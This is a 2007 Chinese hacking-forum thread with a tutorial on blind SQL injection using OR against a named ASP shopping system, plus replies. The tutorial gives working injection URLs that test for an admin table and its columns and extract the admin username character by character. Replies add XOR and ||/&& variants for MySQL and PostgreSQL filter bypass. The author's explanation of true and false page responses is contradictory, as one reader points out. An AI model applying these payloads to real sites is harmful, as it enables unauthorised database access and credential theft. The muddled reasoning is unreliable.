[原创]假是真时真是假——or注入教程
文章作者: 落叶纷飞 & 华夏鸡头4 [S.S.T]信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
[b]注意:文章首发脚本安全小组论坛([url]www.Cnsst.Org[/url]),后由原创作者友情提交到邪恶八进制信息安全团队,转载请注明首发站点。[/b]
PS:很久的文章了,07年4月的,最近找到修改了下就发上来,文章有些乱,请大家不要见怪
记得一年前火狐有一位朋友问,如果一个站过滤了and和“'”的话,改怎么注入啊?当时我随口说了句“or注入”,后来又一次看贴的时候,看到他问我该怎么利用呢?我就写了几个简单的语句给他,叫他自己变换,他很感激我,还说网上没有这种方法。我到网上查了查,还真没有or注入专题呢(or 1=1除外),呵呵,所以,一年后的今天,就有了这篇文章。
我们用雷霆购物系统做or注入演示。我们先用or 1=1和or 1=2来测试是否存在注入点,我们先来看正常页面的面貌。我们现在用or 1=1测试是否存在注入漏洞。返回的是另外一个页面,我们再来测试or 1=2。返回的是正常的页面,说明猜测正确的时候是错误,猜测错误的时候是正常,这就是真正的“假是真时真是假”,比lake2大哥哥的IP欺骗更经典哦,呵呵。
我们来构造测试语句:[code]vpro.asp?id=1 or exists(select * from admin)[/code]返回错误页面,说明存在admin表我们来换一个表试试!
[code]vpro.asp?id=1 or exists(select * from n0h4ck)[/code]说明不存在n0h4ck这个表。
我们继续来,构造语句[code]vpro.asp?id=1 or exists(select admin from admin)[/code]返回or 1=1的页面,说明admin表存在admin字段。
[code]vpro.asp?id=1 or exists(select padd from admin)[/code]返回or 1=2的页面,说明admin表不存在padd字段。
我们现在开始猜测数据了,[code]vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'[/code]返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是“n”。
我们再来[code]vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'[/code]返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是“a”,我们第一个会想到什么呢?当然是“admin”啦。
我们用left函数确定一下,[code]vpro.asp?id=1 or (select left(admin,5) from admin)='admin'[/code]猜测正确,的确是admin,好了,后面的话就不用我说了吧! 貌似注入工具都是这样猜表的 记得以前 骚总和我说过..
但是最近不见他了...
不过很多防注都过滤了 or 具体数据库具体分析~ MYSQL POSTGERSQL系列的
还用XOR代替了....... xor能注入?
楼上的能详细点么? 一般现在的过滤程序要是只 针对 or and 做过滤的话~ 而且目标是 MSSQL ORACLE SYBASE DB2 INFORMIX....这类数据库的话! 是100%见效的!然而你就不能用sql来猜数据了
但是
换则 MYSQL POSTGERSQL (SQLite好像也支持XOR异或判断)
就可以通过 异或判断进行构造SQL
例如
SELECT * FROM MYSQL.USER WHERE ID=123 XOR 1=2
这个是用符号代替 or and
SELECT * FROM MYSQL.USER WHERE ID=123 || 1=2
SELECT * FROM MYSQL.USER WHERE ID=123 && 1=2
多点看官方吧~~~然后再发多点技术含量高点的!.....
[url]http://dev.mysql.com/doc/refman/5.0/en/logical-operators.html[/url]
PS:以上只针对猜解作出回复~~ 多语句执行,函数注入那些暂放一边 首先BS一下自己.
我的理解是:很杂乱的几段or注射语句,欠缺条理,
实在有悖于标题的"教程"二字,建议LZ把该处的二字去掉为宜. 有一定局限性,前提是存在漏洞的地方进行SQL查询的字段类型必须为数值型,否则就必须用到 ' .
还有就是多看看SQL方面的书,会收获很多的,有时候你看着看着就会突然想到:如果我这样这样...如此如此.. [quote]引用第8楼雪祭于2007-08-11 20:24发表的 :
手动注入效率太低,准确性高,大型站点防注入过滤。教程?有点不清楚。[/quote]
我只是做个示范,要有普通注入基础的人看啊~~[s:289] [quote]引用第7楼bink于2007-08-06 17:23发表的 :
有一定局限性,前提是存在漏洞的地方进行SQL查询的字段类型必须为数值型,否则就必须用到 ' .
还有就是多看看SQL方面的书,会收获很多的,有时候你看着看着就会突然想到:如果我这样这样...如此如此..[/quote]
搜索型能突破'吗,请教下,或者看哪个实例比较好 *** 作者被禁止或删除 内容自动屏蔽 *** 假是真时真是假——or注入教程这篇文章在黑手早就看过,当时把我绕了头昏,我问下:
vpro.asp?id=1 or exists(select * from admin)
返回错误页面,说明存在admin表我们来换一个表试试!?????
既然id=1不存在。你又说存在admin表,那么exists(select * from admin)应该是正确的。那样应该
1(假)or exists(select * from admin)(真),那么应该返回正确才对,怎么说是返回错误呢?
文章中还有多次这样矛盾的话,不知道是我技术不好,还是文章作者自己被搞昏了,才以至于过几个月后被人又再次在黑手上说明or的注入,那篇的原理型才和我所想的一样,假是真时真是假——or注入教程这篇我实在搞不懂。。。。。。这个是我的个人见解,如有语言感觉有点冒犯你,那实在对不起,我说话只对文章技术本身,不对人的。。。 我木有说id=1不存在啊,id=1是存在的,真or 真=假,那他94假的鸟~~· [s:265] 现在许多都过滤了Or注入,不过思路还是好的。
页:
[1]